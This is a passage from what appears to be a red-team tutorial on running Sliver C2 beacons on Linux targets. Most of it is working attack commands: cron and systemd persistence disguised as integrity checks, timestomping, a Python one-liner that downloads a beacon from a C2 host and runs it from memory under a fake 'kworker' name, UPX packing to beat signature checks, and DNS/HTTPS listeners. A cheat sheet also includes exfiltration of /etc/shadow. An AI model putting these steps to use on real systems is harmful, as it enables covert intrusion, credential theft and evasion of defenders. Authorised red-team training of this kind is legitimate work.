| Technique | Mechanism | Restriction Type |
|---|---|---|
--limit-datetime "2025-12-31..." |
Kill date — stop after this UTC time | Expiry only |
--seconds 86400 --jitter 3600 |
Sleep 24h with 1h variance | Reduces frequency, not a schedule |
| Cron wrapper (8.5) | OS scheduler launches beacon at 0800, kills it at 1800 | True time-of-day control |
| systemd timer (8.5) | Same as cron but via systemd | True time-of-day control |
Bottom line: Use
--limit-datetimefor kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800-1800 M-F AND self-destructs at end of engagement.
8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)
This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.
# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-31T23:59:59Z" \ # engagement kill date
--save /tmp/beacon.elf
# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper
# Step 3: Check target's timezone -- critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u # local vs UTC -- confirm the offset
# Timezone offset math:
# EST = UTC-5 -> 0800 EST = 1300 UTC -> cron hour = 13
# EDT = UTC-4 -> 0800 EDT = 1200 UTC -> cron hour = 12 (summer/daylight saving)
# PST = UTC-8 -> 0800 PST = 1600 UTC -> cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC -> cron hour = 8
# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename -- blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Launch beacon at 0800 EST (1300 UTC) weekdays -- only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &
# Kill beacon at 1800 EST (2300 UTC) weekdays -- clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF
# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper
# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer
[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check
[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF
systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service
Why cron over
--limit-datetimefor scheduling:--limit-datetimeis a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window,--limit-datetimehandles the engagement expiry, and killing at 1800 keeps it off the wire overnight.
8.6 — Stealthy Delivery: In-Memory Execution via memfd_create
Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.
# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &
# On the TARGET -- run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' -- matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.
Alternative: Base64 embedded delivery (no outbound HTTP from target)
# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64
# In your shell on the target -- paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...' # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.
OPSEC:
memfd_createcreates an anonymous file descriptor not visible in the filesystem. The process does appear in/proc/PID/exeas/proc/self/fd/N (deleted)— a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that usesmemfd_createdirectly and masquerades via/proc/self/mapstricks. Thekworkerprocess name chosen above mimics kernel worker threads — inspect real kernel threads withps aux | grep "\[kworker"to pick a realistic name.
8.7 — Binary Hardening: Strip + UPX (Post-Generation)
After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:
# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf
# UPX compression -- reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries -- test in your lab first
upx --best --lzma beacon.elf # max compression
upx -d beacon.elf # decompress if needed
# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf # should still show ELF executable
./beacon.elf # test run in lab
# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear -> consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag
8.8 — HTTPS Listener Setup (Blend with Web Traffic)
# Inside Sliver console: start an HTTPS listener (port 443 -- looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443
# Verify listener is running
jobs
# ID Name Protocol Port
# ==== ======= ========== ======
# 1 https tcp 443
# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--save /tmp/beacon_https.elf
# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
--dns yourc2domain.com \
--os linux --arch amd64 --format elf \
--seconds 7200 --jitter 1800 \
--save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable
8.9 — Sliver Quick-Reference Cheat Sheet
# -- Server management --------------------------------------------------
sliver-server # start console
jobs # list active listeners
mtls --lport 8888 # start mTLS listener
https --lport 443 # start HTTPS listener
# -- Implant management -------------------------------------------------
implants # list all generated implants
beacons # list active beacons
sessions # list active sessions
use <ID> # interact with beacon or session
# -- Beacon interaction -------------------------------------------------
info # beacon details (interval, jitter, OS, PID)
tasks # list queued/completed tasks
interactive # promote beacon -> live session
background # return to main console (beacon stays active)
beacons rm <ID> # remove beacon entry
# -- In-session commands (Linux) ----------------------------------------
ls / pwd / cd # filesystem navigation
download /etc/shadow # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id # run command, capture output
shell # drop to interactive shell (noisy)
socks5 start # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222 # port forward
getenv / setenv # environment variable access
screenshot # capture desktop (GUI targets)
procdump --pid <PID> # memory dump of process
# -- Profiles (save generation configs) --------------------------------
profiles new beacon \
--https C2_IP:443 --os linux \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \
linux-biz-hours
profiles generate --save /tmp/ linux-biz-hours # generate from saved profile
profiles # list all profiles
Resources
| Resource | Type | Relevance |
|---|---|---|
| GTFOBins | Reference | Sudo / SUID exploitation one-liners |
| PayloadsAllTheThings — Linux PrivEsc | Reference | Comprehensive priv-esc techniques |
| HackTricks — Linux PrivEsc | Reference | Deep technique breakdowns |
| linux-exploit-suggester | Tool | Kernel CVE matching |
| pspy | Tool | No-root cron/process watcher |
| swap_digger | Tool | Swap memory credential extraction |
| InternalAllTheThings — Linux PrivEsc | Reference | Technique reference with MITRE mapping |
| RoseSecurity Red-Teaming-TTPs | Reference | Red team TTP list with commands |
| RedTeaming_CheatSheet (0xJs) | Reference | Comprehensive pentesting guide |
| d4t4s3c/OffensiveReverseShellCheatSheet | Reference | Reverse shell one-liners (bash/nc/python/socat) |
| RoqueNight/Reverse-Shell-TTY-Cheat-Sheet | Reference | TTY stabilization: Python/perl/ruby methods |
| pentestmonkey reverse shells | Reference | Classic one-liners |
| BishopFox/sliver | Tool / C2 | Adversary emulation framework — Linux focus |
| Sliver Docs | Reference | Official Sliver documentation |
| Learning Sliver C2 — Beacons & Sessions | Tutorial | Beacon vs session deep dive |
| Sliver C2 Usage for Red Teams | Tutorial | Operator guide with practical examples |
| Sliver + memfd_create | Tutorial | Fileless Linux delivery via memfd_create |
Back to Parts 1a & 1b — OPSEC Baseline & Privilege Escalation
Part of the Red Teaming 101 series. Companions: 1a: OPSEC · 1b: PrivEsc.